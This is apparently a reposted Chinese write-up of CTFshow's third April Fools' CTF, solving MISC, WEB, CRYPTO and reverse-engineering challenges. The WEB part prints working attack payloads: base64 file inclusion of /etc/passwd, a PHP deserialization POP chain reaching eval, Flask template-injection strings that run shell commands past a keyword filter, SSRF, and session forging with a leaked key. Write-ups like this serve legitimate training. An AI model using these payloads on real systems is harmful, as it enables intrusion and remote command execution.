0x01 MISC
打开里面有个加密的black.png,猜测是zip伪加密,用010Editor等编辑器修改头尾两个0900为0000就能解除加密。
解压出图片后还是不能正常打开,用010Editor打开一翻,看到了关键字flag.png,以及在文件尾看到了key,这个图片应该是个处理过的压缩包。
改后缀后能够打开,解压密码是刚才找到key,需要base64解码。但是得到的flag.png依然不能正常打开,检查发现头部crc校验出错,应该是改了高度,之后找了个现成的通过crc爆破宽高度的脚本跑出高度,修改后能正常打开flag.png,得到flag。
`import struct``import zlib``import struct`` `` ``with open('flag.png','rb') as image_data:` `bin_data = image_data.read()``data = bytearray(bin_data[12:29])``print(bin_data[29:33].hex())``crc32key = eval("0x" + bin_data[29:33].hex())``n = 4096``for w in range(n):` `width = bytearray(struct.pack('>i', w))` `for h in range(n):` `height = bytearray(struct.pack('>i', h))` `for x in range(4):` `data[x+4] = width[x]` `data[x+8] = height[x]` `crc32result = zlib.crc32(data)` `if crc32result == crc32key:` `print("width:%s height:%s" % (int(bytearray(width).hex(), 16),` `int(bytearray(height).hex(), 16)))` `exit()`
压缩包打开后发现加密了,有提示key = Σ(1/(n!)),学过一眼能看出来,没学过百度一搜也就知道这是常数。
ee,一般e=2.718281828459045,这里取2.71828182846,解压后一个DOCX文件,一个图片,图片依旧打不开,010Editor打开发现文件头不是PNG,修改后发现crc依旧有问题,文件头的宽高度不正确,文件尾的crc计算有误,先修改文件尾,一般PNG图片尾部是固定的 49 45 4E 44 AE 42 60 82,照着修改即可,文件头的宽高依旧可以用脚本爆破出来。
打开之后就提示了个GB2312。word文档打开是一个视频的歌词,但是这个歌词长度不对劲,发现每一句的结尾标点有规律,去掉文字只保留标点发现符合Ook!编码规则,但是都是中文全角标点,符合HINT图片的提示,把所有歌词复制出来写个脚本跑出Ook的编码,使用在线解码工具就能解出来。
`s = ""``for line in s.split("\n"):` `print("Ook"+line[-1].replace("?", "?").replace("!", "!").replace("。", "."),end=" ")`
0x02 WEB
网页打开后链接为444ec585-eed0-40d8-954a-0fce17eb53dd.challenge.ctf.show/?img=ZmFjZS5wbmc=,尾部跟了个base64编码,解码后是face.png,那么题目考的应该是文件包含,测试/etc/passwd,base64编码后为L2V0Yy9wYXNzd2Q=,测试发现可以正常返回,并且包含了/etc/passwd的内容
将参数换成index.php的编码就能得到包含flag的源码
`<?php``/*``# -*- coding: utf-8 -*-``# @Author: h1xa``# @Date: 2023-03-27 10:30:30``# @Last Modified by: h1xa``# @Last Modified time: 2023-03-28 12:15:33``# @email: h1xa@ctfer.com``# @link: https://ctfer.com`` ``*/`` ``$image=$_GET['img'];`` ``$flag = "ctfshow{b72d1934-d612-437f-bf7c-28a81ac03df4}";``if(isset($image)){` `$image = base64_decode($image);` `$data = base64_encode(file_get_contents($image));` `echo "<img src='data:image/png;base64,$data'/>";``}else{` `$image = base64_encode("face.png");` `header("location:/?img=".$image);``}`
**2.被遗忘的反序列化
**
原题代码有点长就不贴了,一开始想构造POP链执行eval($_POST["eval"]),但是有个cipher()函数没法执行,实现方法应该在check.php里面。
第一步构造文件包含读取check.php,使用引用的方式。
`$a = new w_wuw_w();``$a->file = "php://filter/convert.base64-encode/resource=check.php";``$a->aaa = &$a->key;``echo serialize($a);`
得到cipher函数的源码,是一个位移密码的实现,改造代码一下实现解密:
`function cipher($str) {`` ` `if(strlen($str)>10000){` `exit(-1);` `}`` ` `$charset = "qwertyuiopasdfghjklzxcvbnm123456789";` `$shift = 4;` `$shifted = "";`` ` `for ($i = 0; $i < strlen($str); $i++) {` `$char = $str[$i];` `$pos = strpos($charset, $char);`` ` `if ($pos !== false) {` `$new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);` `$shifted .= $charset[$new_pos];` `} else {` `$shifted .= $char;` `}` `}`` ` `return $shifted;``}`
得到密码fe1ka1ele1efp,之后构造POP链触发eval($_POST["eval"])
`<?php`` `` ``class EeE{` `public $text;` `public $eeee;`` ``}`` ``class cycycycy{` `public $a;`` ``}`` ``class gBoBg{` `public $name;` `public $file;` `public $coos;`` ``}` ` ``class w_wuw_w{` `public $aaa;` `public $key;` `public $file;`` ``}`` ``$a = new w_wuw_w();``$g = new gBoBg();``$g->file = ""; // 设置之后进入$aa = $this->coos;分支``$g->coos = $a; // 触发w_wuw_w 的 __invoke``$a->aaa = $g; // 触发gBoBg 的 __toString``echo serialize($a);`` ``// 执行流程为w_wuw_w.__destruct -> gBoBg.__toString` `// -> w_wuw_w.__invoke -> EeE.__clone -> cycycycy.aaa ;`
有了shell之后在根目录就能找到flag
打开网页查看源码有个app.zip,应该是源码备份。源码如下:
`from flask import Flask``from flask import render_template_string,render_template``app = Flask(__name__)`` ``@app.route('/hello/')``def hello(name=None):` `return render_template('hello.html',name=name)``@app.route('/hello/<name>')``def hellodear(name):` `if "ge" in name:` `return render_template_string('hello %s' % name)` `elif "f" not in name:` `return render_template_string('hello %s' % name)` `else:` `return 'Nonononon'`
POC
`POC1:``{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}``POC2:``{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls')` `.read()}}``POC3:``{{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('ls')` `.read()}}`
shell命令中flag会被过滤,这里使用base64命令绕过
cat $(echo Li4vZmxhZw== | base64 -d)
网页提供的第一个有用的信息是有本地端口9999,那么肯定有地方能够使用SSRF攻击,翻了下发现可以访问robots.txt,提示有shop.py.bak这个文件存在,shop.py.bak的内容是:
`if request.args.get('api', None) is not None:` `api = request.args.get('api')` `if re.search(r'^[\d\.:]+$', api):` `get = requests.get('http://'+api)` `html += '<!--'+get.text+'-->'` `return html`
这里能够构造SSRF获得信息,访问/shop?api=127.0.0.1:9999之后能得到三个公钥
在主页还提供了一个拦截器功能,提示了这个聊天室的架构
`#(密文1)通过私钥1解密为(密文2+IP2)``#(密文2)通过私钥2解密为(密文3+IP3)``#(密文3)通过私钥3解密为(明文+IP用户B)``def encrypt(plaintext, public_key):` `cipher = PKCS1_v1_5.new(RSA.importKey(public_key))`` ` `ciphertext = ''` `for i in range(0, len(plaintext), 128):` `ciphertext += cipher.encrypt(plaintext[i:i+128].encode('utf-8')).hex()`` ` `return ciphertext`
根据现有信息可以知道我们是其中一个节点,用户A给所有节点都发送了其自有的私钥,节点只能解密自己的信息,而整个密文是通过三个密钥层层加密的,根据题目提供的加密算法来看,缺陷是密文的结构太有规律了,在我们获得所有公钥后,虽然我们不能解密所有数据,但是能够加密特定数据,聊天室发送信息给下一个节点的方式是解密自己的信息后使用末尾的IP,那么我们可以构造加密自己的IP,让后面的节点将解密后的信息发给自己,在/shop界面可以看到自己的IP,测试脚本:
`import requests``import time`` ``from Crypto.PublicKey import RSA``from Crypto.Cipher import PKCS1_v1_5`` ``public_key1 = """-----BEGIN PUBLIC KEY-----``。。。``-----END PUBLIC KEY-----"""``public_key2 = """-----BEGIN PUBLIC KEY-----``。。。``-----END PUBLIC KEY-----"""``public_key3 = """-----BEGIN PUBLIC KEY-----``。。。``-----END PUBLIC KEY-----"""``# 加密``def encrypt(plaintext, public_key):` `cipher = PKCS1_v1_5.new(RSA.importKey(public_key))`` ` `ciphertext = ''` `for i in range(0, len(plaintext), 128):` `ciphertext += cipher.encrypt(plaintext[i:i+128].encode('utf-8')).hex()`` ` `return ciphertext`` ``def decrypt(ciphertext, private_key):` `cipher = PKCS1_v1_5.new(RSA.importKey(private_key))` `plaintext = ''` `for i in range(0, len(ciphertext), 512):` `# print(plaintext)` `plaintext += cipher.decrypt(bytes.fromhex(ciphertext[i:i+512]), None).` `decode('utf-8')` ` return plaintext`` `` ``URL = "http://297eacba-1b13-4bdf-b23a-5e32b788c721.challenge.ctf.show/"``msg = requests.get(URL + "/update").content.decode()``data = msg.split("@")`` ``key = RSA.import_key(data[0].replace("\\n", "\n"))`` ``myip = "2.56.12.89"``data1 = decrypt(data[1], key.export_key())``msg = data1[:-10]``ip = data1[-10:]``print("当前收到的信息:", msg, "下一个节点IP:", ip)``print("_______________________________________")``# print(decrypt(data1, key.export_key()))`` ``# 我是第一个节点``#最后一层是节点三``next_node_ip = encrypt(myip, public_key3.replace("\\n", "\n"))``#我的下一个节点是节点二``next_node_ip = encrypt(next_node_ip, public_key2.replace("\\n", "\n"))`` ``print(len(next_node_ip))`` ``payload = {` `"message" : msg[:-2560] + next_node_ip + msg[-512:] + ip``}``print(len(msg[:-2560] + next_node_ip + msg[-512:] + ip))``res = requests.post(URL + "/pass_message", data=payload) # 传递给下一个节点``if res.status_code == 200:` `print("success")`` ``msg = requests.get(URL + "/update").content.decode() # 等待后续节点返回信息给自己``data = msg.split("@")``print(data[1])`
网页访问后是个登录页面,不过有注册功能,测试注册admin发现已存在,注册一个demo用户,登录后显示有些功能只能给admin用户看,不过有个链接访问后可以看到部分源码:
`# app.py``from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response``app = Flask(__name__)`` ``app.secret_key = 'S3cr3tK3y'`` ``......`
源码中泄露了secret_key,那么可以通过key解密和加密Flask Session,使用脚本flask_session_cookie_manager3.py解密session
之后刷新页面发现多了个链接能下载文件
这个链接可以使用文件包含攻击
访问download/?filename=app.py可以获得ap源码,里面有个函数使用了eval函数,并且参数可控
构造链接/hello/?eval=import('os').popen('ls').read()就能执行命令,执行cat ../flag_is_h3re获得flag
0x03 CRYPTO
题目密文为:
4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35
使用https://gchq.github.io/CyberChef/进行解码
代码为:
`from Crypto.Util.number import *``from flag import flag``from Crypto.Util.Padding import pad``from random import *``def s_box(a):` `box=[i for i in range(a)]` `shuffle(box)` `return box``BLOCK=16``flag=pad(flag,BLOCK)``S_BOX=s_box(len(flag))``m=[i for i in flag]``def swap(a,b):` `tmp = a` `a = b` `b = tmp``def encrypt1(m):` `enc=[m[i:i+BLOCK] for i in range(0,len(m),BLOCK)]` `for i in enc:` `for j in range(BLOCK):` `aa=j*7%BLOCK` `swap(i[j],i[aa])``def encrypt2(m):` `for i in range(16):` `m=[m[i] for i in S_BOX]` `return m``encrypt1(m)``c=encrypt2(m)``print(S_BOX)``print(c)``'''``[9, 31, 32, 38, 20, 1, 22, 4, 8, 2, 11, 21, 7, 18, 46, 23, 34, 3, 19, 12, 45, 30, 27, 37, 5, 47, 28, 36, 0, 43, 39, 10, 29, 14, 40, 24, 33, 16, 17, 6, 42, 15, 26, 41, 44, 25, 35, 13]``[99, 111, 102, 11, 107, 49, 11, 53, 121, 48, 114, 117, 11, 95, 112, 95, 109, 115, 11, 95, 101, 95, 119, 117, 79, 123, 111, 48, 110, 95, 121, 116, 121, 125, 116, 11, 119, 11, 97, 67, 11, 11, 11, 11, 11, 99, 110, 104]``'''`
逆向代码:
`from Crypto.Util.Padding import unpad`` ``def swap(a, b):` `tmp = a` `a = b` `b = tmp`` `` ``def inv_s_box(s_box):` `inv_s_box = [0]*len(s_box)` `for i in range(len(s_box)):` `inv_s_box[s_box[i]] = i` `return inv_s_box`` ``def inv_encrypt1(m):` `dec = [m[i:i+BLOCK] for i in range(0, len(m), BLOCK)]` `for i in dec:` `for j in range(BLOCK):` `aa = j*7 % BLOCK` `swap(i[j], i[aa])`` ``def inv_encrypt2(m, inv_s_box):` `for i in range(16):` `m = [m[inv_s_box[i]] for i in range(len(m))]` `return m`` ``BLOCK = 16``c = [99, 111, 102, 11, 107, 49, 11, 53, 121, 48, 114, 117, 11, 95, 112, 95, 109, 115, 11, 95, 101, 95, 119, 117, 79, 123, 111, 48, 110, 95, 121, 116, 121, 125, 116, 11, 119, 11, 97, 67, 11, 11, 11, 11, 11, 99, 110, 104]`` ``S_BOX = [9, 31, 32, 38, 20, 1, 22, 4, 8, 2, 11, 21, 7, 18, 46, 23, 34, 3, 19, 12, 45, 30, 27, 37, 5, 47, 28, 36, 0, 43, 39, 10, 29, 14, 40, 24, 33, 16, 17, 6, 42, 15, 26, 41, 44, 25, 35, 13]`` `` ``inv_sbox = inv_s_box(S_BOX)``m = list(c)``m = inv_encrypt2(m, inv_sbox)``inv_encrypt1(m)``m = unpad(bytes(m), BLOCK)``print(bytes(m))`
0x04 RE
1.easy_pyc
使用uncompyle6或者在线工具反编译pyc
`print 'Welcome to CTFshow Re!'``print 'your flag is here!'``flag = ''``l = len(flag)``for i in range(l):` `num = ((flag[i] + i) % 114514 + 114514) % 114514` `code += chr(num)`` ``code = map(ord, code)``for i in range(l - 4 + 1):` `code[i] = code[i] ^ code[(i + 1)]`` ``print code``code = ['\x16', '\x1d', '\x1e', '\x1a', '\x18', '\t', '\xff', '\xd0', ',', '\x03', '\x02', '\x14', '8', 'm', '\x01', 'C', 'D', '\xbd', '\xf7', '*', '\r', '\xda', '\xf9', '\x1c', '&', '5', "'", '\xda', '\xd4', '\xd1', '\x0b', '\xc7', '\xc7', '\x1a', '\x90', 'D', '\xa1']`
先倒着将异或的字符恢复后,穷举就行了
`code = ['\x16', '\x1d', '\x1e', '\x1a', '\x18', '\t', '\xff', '\xd0', ',', '\x03', '\x02', '\x14', '8', 'm', '\x01', 'C', 'D', '\xbd', '\xf7', '*', '\r', '\xda', '\xf9', '\x1c', '&', '5', "'", '\xda', '\xd4', '\xd1', '\x0b', '\xc7', '\xc7', '\x1a', '\x90', 'D', '\xa1']`` ``code = list(map(ord, code))``for i in range(len(code) - 4 + 1, 0, -1):` `code[i-1] = code[i] ^ code[i-1]``# print(code)``for i in range(len(code)):` `for ch in range(32, 128):` `if ((ch + i) % 114514 + 114514) % 114514 == code[i]:` `print(chr(ch), end='')` `break`
这道题做到一半发现被骗了,不过还是将原本的过程写下来。
运行程序提示输入要加密的文本,输入两个数字作为密钥,然后输出密文,输出的内容中包含一堆密文,提示base64:flag,猜测flag就在密文中,使用ida反编译查看源码。
`sub_401460();// 提示输入明文``sub_401700(v12);//输入``sub_401460();//提示输入两个数字``std::istream::operator>>(std::cin, &v10);``std::istream::operator>>(std::cin, &v11);``v3 = v10 % 299;``v4 = v11 % 299;``v5 = 0;``v9 = v11 % 299;``v6 = strlen(v12);``if ( v6 )``{` `do` `{` `v8 = dword_403AA0[300 * v3 + v4] ^ v12[v5]; // 在300*300的表中查找索引并` `v3 = (v8 + v3) % 299; // 对明文异或` `v9 = (v8 + v9) % 300;` `std::ostream::operator<<(std::cout, v8);` `sub_401460(); // 输出当前密文` `v4 = v9;` `++v5;` `}` `while ( v5 < v6 );``}``sub_401460(); // 输出提示信息以及一大堆密文``return 0;`
加密矩阵有点长,直接从文件读取,
基本想法是根据加密规则穷举输入的两个数字,只要和密文对得上一部分,那么两个数字就解出来了
`datas = []`` ``enc = [90,171,198,235,229,43,246,92,198,203,233,228,6,128,215,68,201,4,220,214,169,245,208,199,112,170,119,251,244,58,237,4,70,231,200,45,186,137,247,225,243,13,145,139,190,146,194,242,253,56,239,5,41,225,105,51,247,79,170,231,88,64,224,138,222,220,229,88,43,117,236,189,228,205,150,65,26,205,232,141,116,149,185,89,212,251,16,215,205,17,238,22,245,77,220,198,224,248,223,209,205,167,223,210,165,247,190,3,5,246,243,228,181,33,42,207,174,138,244,118,192,22,219,60,80,229,144,219,133,211,221,229,190,58,151,240,183,207,221,60,77,217,220,74,105,220,221,165,85,174,43,183,188,190,252,255,130,137,189,201,239,181,150,143,214,203,26,211,103,222,105,87,214,179,83,185,104,206,229,172,221,117,163,57,106,200,46,165,193,135,243,166,168,209,144,52,210,12,58,10,103,5,211,55,172,76,88,250,136,245,167,139,241,26,92,97,139,241,137,27,53,211,251,191,240,173,14,231,241,242,255,122,144,97,234,36,175,155,253,35,156,229,19,166,191,140,195,218,130,35,200,178,245,41,162,243,214,222,87,83,195,144,55,159,208,241,193,233,204,228,196,105,84,58,220,226,1,47,248,138,177,124,236,53,210,79,250,106,27,244,251,203,210,103,213,218,183,4,40,28,12,175,52,224,203,89,176,174,175,233,43,20,103,152,201,4,148,76,241,103,135,139,136,246,80,184,255,194,149,239,206,207,246,166,20,63,202,199,177,214,60,99,74,211,219,94,247,193,40,212,197,175,30,244,41,24,113,27,249,213,225,55,188,193,165,220,174,252,105,154,74,126,174,255,110,169,103,44,246,255,98,251,211,87,171,62,67,250,69,149,18,77,159,137,168,231,187,97,174,115,243,44,128,151,90,246,83,11,138,67,184,22,53,228,230,252,76,112,20,136,131,90,233,248,67,207,61,212,113,62,239,203,201,66,83,179,16,209,253,63,206,208,101,150,196,145,101,220,22,79,241,69,237,219,97,87,20,22,240,244,218,7,237,42,14,8,38,115,141,102,206,191,142,55,196,200,142,98,16,129,53,52,50,197,53,219,2,66,152,192,245,243,69,26,132,240,164,90,246,200,53,89,221,119,139,76,47,132,53,47,249,26,53,141,113,69,76,152,121,193,53,176,97,135,205,206,237,108,251,38,216,108,12,220,209,194,26,243,217,231,36,117,235,106,205,43,254,75,209,141,239,200,5,183,219,166,113,9,16,154,116,144,238,208,245,136,173,16,103,107,114,17,208,181,196,98,212,133,211,252]`` ``with open("/Users/linkle/Downloads/re1.exe", "rb") as f:` `exe = f.read()` `bins = exe[0x28A0:0x5A6E0]` `for xx in range(0, len(bins), 4):` `datas.append(ord(bins[xx: xx+1]))`` ``for n1 in range(300):` `for n2 in range(300):` `for ch in range(32, 128):` `if 300 * n1 + n2 >= len(datas):` `continue` `# print(300 * n1 + n2)` `if datas[300 * n1 + n2] ^ ch == enc[0]:` `flag = 0` `n1_r = n1` `n2_r = n2` `for i in range(1, 32):` `n1_r = (enc[i-1] + n1_r) % 299` `n2_r = (enc[i-1] + n2_r) % 300`` ` `try:` ` for ch2 in range(32, 128):` `if datas[300 * n1_r + n2_r] ^ ch2 == enc[i]:` `flag += 1` `break` `except:` `continue` `if flag >= 31:` `print(n1, n2, ch) # 对得上大部分密文的话估计就是正确数字了`
得到两个数字67 74
根据这两个数字得到的原文是一段base64,解出来是:
`flag不在这里呦,``就像生活,``你跨过了人山人海,``你跨过了明月清风,``你见过了三更灯火,``你见过了黎明的城市。`` ``你觉得你已经足够努力,``你觉得你理应破浪乘风。``你满身疲惫``你筋疲力竭`` ``可惜,罗马不在前方。``或者,罗马永远在前方,``在别人出生的地方。`` ``本狸,强烈建议你回到最初的地方``好好研究下加密矩阵``有惊喜哦`
回头仔细看加密矩阵,突然想到,它是300*300的,有可能是个图片,使用PIL库将其存成图片,flag确实在里面
`with open("/Users/linkle/Downloads/re1.exe", "rb") as f:` `exe = f.read()` `bins = exe[0x28A0:0x5A6E0]` `for xx in range(0, len(bins), 4):` `datas.append(ord(bins[xx: xx+1]))`` ``from PIL import Image`` ``newimg = Image.new('RGB',(300, 300))``for i in range(300):` `for j in range(300):` `newimg.putpixel((i, j), (datas[300 * i + j], 0, 0))``newimg.save('flag.png')`
生成图片的时候没有处理,之后用ps处理翻转一下就方便阅读flag了
使用ida反编译,大致代码如下:
`strcpy(keys, "key123");``printf((char *)&Format, v16[0]);``v4 = _acrt_iob_func(0);``fgets(Buffer, 100, v4);``v5 = strcspn(Buffer, "\n");``if ( v5 >= 0x64 )` `goto LABEL_16;``v15 = v3;``Buffer[v5] = 0;``index = 0;``v7 = strlen(Buffer);``if ( v7 )``{` `len_keys = strlen(keys);` `do` `{` `v17[index] = Buffer[index] ^ keys[index % len_keys];` `++index;` `}` `while ( index < v7 );` `if ( index >= 0xC9 )` `goto LABEL_16;``}``v17[index] = 0;``v9 = 0;``v10 = strlen(v17);``if ( v10 )``{` `v11 = v16;` `do` `{` `sprintf(v11, "%02x", v17[v9++]);` `v11 += 2;` `}` `while ( v9 < v10 );``}``v12 = 2 * v9;``if ( v12 >= 0xC9 )``{``LABEL_16:` `__report_rangecheckfailure(v15);` `__debugbreak();``}``v16[v12] = 0;``printf("\n", v15);``v13 = strcmp(v16, "08111f425a5c1c1e1a526d410e3a1e5e5d573402165e561216");``if ( v13 )` `v13 = v13 < 0 ? -1 : 1;``if ( v13 )` `printf("flag is false: ", v16[0]);``else` `printf("flag is true: ", v16[0]);``system("pause");`` `
可以看到,数据输入到Buffer中,然后一次与key123中的一位异或,结果再以16进制保存,最后与一个16进制串对比。
长度已知,异或的key能确定,那么对16进制串反向操作一下就能得到flag
`key = "key123"``s = "08111f425a5c1c1e1a526d410e3a1e5e5d573402165e561216"``for i in range(0, len(s), 2):` `print(chr(int(s[i:i+2], 16) ^ ord(key[i//2 % len(key)])), end="")`
这个程序使用了ptrace进程跟踪,输入的数据放在父进程,子进程处理用来对比的数据,flag的数据就在其中,不过因为不熟悉gdb,调了半天尝试动态调试还是不行,干脆直接看代码加猜测。
程序大致功能应该是等待子进程传过来的信息,读取传过来的地址,根据地址读取23个字符然后与encode之后的输入文本对比。
子进程运行函数f()
看到有个3Dh,这是和父进程交互的信息,那么后面的数据一定就是父进程读取的用来对比flag的数据,反正看着不像正常的指令。从0x1524开始到0x153C之间刚好23个字符。
分析encode函数:
作用是依次将字符串的每一个字符加上当前所有字符之和。
有了加密方法,知道了密文位置,那么就能解出flag了。
`f = open("/Users/linkle/Downloads/babyre", "rb").read()``datas = []``for ch in f[0x1524:0x153C]:` `datas.append(ch)`` ``def enc(s):` `len_s = len(s)` `for i in range(len_s):` `t = 0` `for j in range(len_s):` `t += s[j]` `s[i] = t & 0xff` `return s`` ``def dec(s): `` len_s = len(s)` `for i in range(len_s - 1, -1, -1):` `for c in range(0xff):` `# print(s[:i]+s[i+1:])` `if sum(s[:i]+s[i+1:]+[c]) & 0xff == s[i]:` `s[i] = c` `# print(c)` `break` `# break` `return s``print("".join(list(map(chr, dec(datas.copy())))))`
原文地址:CTFSHOW第三届愚人杯WP | Linklede Blog
https://www.linkle.top/article/
若有侵权请联系删除
免责声明
由于传播、利用本公众号渗透测试网络安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透测试网络安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
进交流群 请添加管理员
备注:进群,将会自动邀请您加入 渗透测试网络安全 技术 官方 交流群
好文分享收藏赞一下最美点在看哦
还在等什么?赶紧点击下方名片开始学习吧!